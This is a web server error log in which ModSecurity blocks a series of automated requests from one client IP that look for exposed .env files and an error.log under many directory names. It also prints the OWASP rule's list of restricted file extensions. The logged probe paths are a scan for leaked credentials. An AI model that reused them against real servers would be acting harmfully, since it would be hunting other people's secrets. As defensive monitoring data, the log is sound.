[Wed Feb 25 06:05:04.269512 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXWwAAAAQ&quot;]
[Wed Feb 25 06:05:04.269774 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXWwAAAAQ&quot;]
[Wed Feb 25 06:05:04.269972 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXWwAAAAQ&quot;]
[Wed Feb 25 06:05:04.298357 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/template/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXAAAAAQ&quot;]
[Wed Feb 25 06:05:04.298636 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXAAAAAQ&quot;]
[Wed Feb 25 06:05:04.298823 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXAAAAAQ&quot;]
[Wed Feb 25 06:05:04.308291 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /demo-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiauAAAAAA&quot;]
[Wed Feb 25 06:05:04.308540 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiauAAAAAA&quot;]
[Wed Feb 25 06:05:04.308708 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiauAAAAAA&quot;]
[Wed Feb 25 06:05:04.375207 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiauQAAAAA&quot;]
[Wed Feb 25 06:05:04.375500 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiauQAAAAA&quot;]
[Wed Feb 25 06:05:04.375691 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiauQAAAAA&quot;]
[Wed Feb 25 06:05:04.385983 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /environments/local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXQAAAAQ&quot;]
[Wed Feb 25 06:05:04.386239 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXQAAAAQ&quot;]
[Wed Feb 25 06:05:04.386452 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXQAAAAQ&quot;]
[Wed Feb 25 06:05:04.421061 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /environments/production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXgAAAAQ&quot;]
[Wed Feb 25 06:05:04.421350 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXgAAAAQ&quot;]
[Wed Feb 25 06:05:04.421539 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXgAAAAQ&quot;]
[Wed Feb 25 06:05:04.547800 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /envs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXwAAAAQ&quot;]
[Wed Feb 25 06:05:04.548092 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXwAAAAQ&quot;]
[Wed Feb 25 06:05:04.548288 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXXwAAAAQ&quot;]
[Wed Feb 25 06:05:04.595136 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYAAAAAQ&quot;]
[Wed Feb 25 06:05:04.595683 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYAAAAAQ&quot;]
[Wed Feb 25 06:05:04.595875 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYAAAAAQ&quot;]
[Wed Feb 25 06:05:04.663765 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /error/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYQAAAAQ&quot;]
[Wed Feb 25 06:05:04.664047 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYQAAAAQ&quot;]
[Wed Feb 25 06:05:04.664225 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYQAAAAQ&quot;]
[Wed Feb 25 06:05:04.715424 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiavAAAAAA&quot;]
[Wed Feb 25 06:05:04.715712 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiavAAAAAA&quot;]
[Wed Feb 25 06:05:04.715906 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiavAAAAAA&quot;]
[Wed Feb 25 06:05:04.720941 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /errors/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYgAAAAQ&quot;]
[Wed Feb 25 06:05:04.721205 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYgAAAAQ&quot;]
